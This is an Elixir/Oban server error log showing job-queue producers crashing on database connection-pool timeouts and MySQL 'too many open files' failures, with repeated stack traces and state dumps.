** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1007ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:40:21.242521Z], limit: 10, uuid: "c8030917-731a-4bea-a90a-b5fd3a1c2b90", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:40:21.242527Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.206225>, refresh_timer: #Reference<0.2525715032.1121189889.84330>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:40:33.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 897ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:40:21.240076Z], limit: 5, uuid: "34452d24-0e0f-4e14-9e25-b80bcecf1d9d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:40:21.240083Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.206223>, refresh_timer: #Reference<0.2525715032.1068236804.232877>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:40:33.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1084ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:40:21.246000Z], limit: 50, uuid: "72dc7b45-59ce-4810-be41-d13648015076", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:40:21.246005Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.206227>, refresh_timer: #Reference<0.2525715032.1099169794.240742>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:40:33.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 861ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:40:21.241675Z], limit: 20, uuid: "eea7ef49-5085-4a3c-bd12-74a2e8ffa13f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:40:21.241681Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.206224>, refresh_timer: #Reference<0.2525715032.1121189889.84311>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:40:33.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 855ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:40:21.245523Z], limit: 5, uuid: "388ae0eb-11c1-41f4-9918-dad5b77c4efb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:40:21.245529Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.206222>, refresh_timer: #Reference<0.2525715032.1077411843.206212>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:40:33.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 872ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:40:21.241953Z], limit: 3, uuid: "f757596c-7e2d-49be-af19-e25c783add18", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:40:21.241959Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.206226>, refresh_timer: #Reference<0.2525715032.1121189889.84320>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:40:34.843000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:40:37.483000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:40:38.897000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:40:40.045000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:40:42.792000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:40:43.221000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:40:44.806000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:40:45.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1082ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:40:33.239694Z], limit: 5, uuid: "e2296a85-f5e2-4fd0-ae3d-cbc32853893e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:40:33.239699Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.206600>, refresh_timer: #Reference<0.2525715032.1077411843.206580>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:40:45.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1010ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:40:33.237996Z], limit: 10, uuid: "184ae81e-07ac-4092-b0fe-5ce1600596d7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:40:33.238001Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.206603>, refresh_timer: #Reference<0.2525715032.1099169794.240804>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:40:45.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 817ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
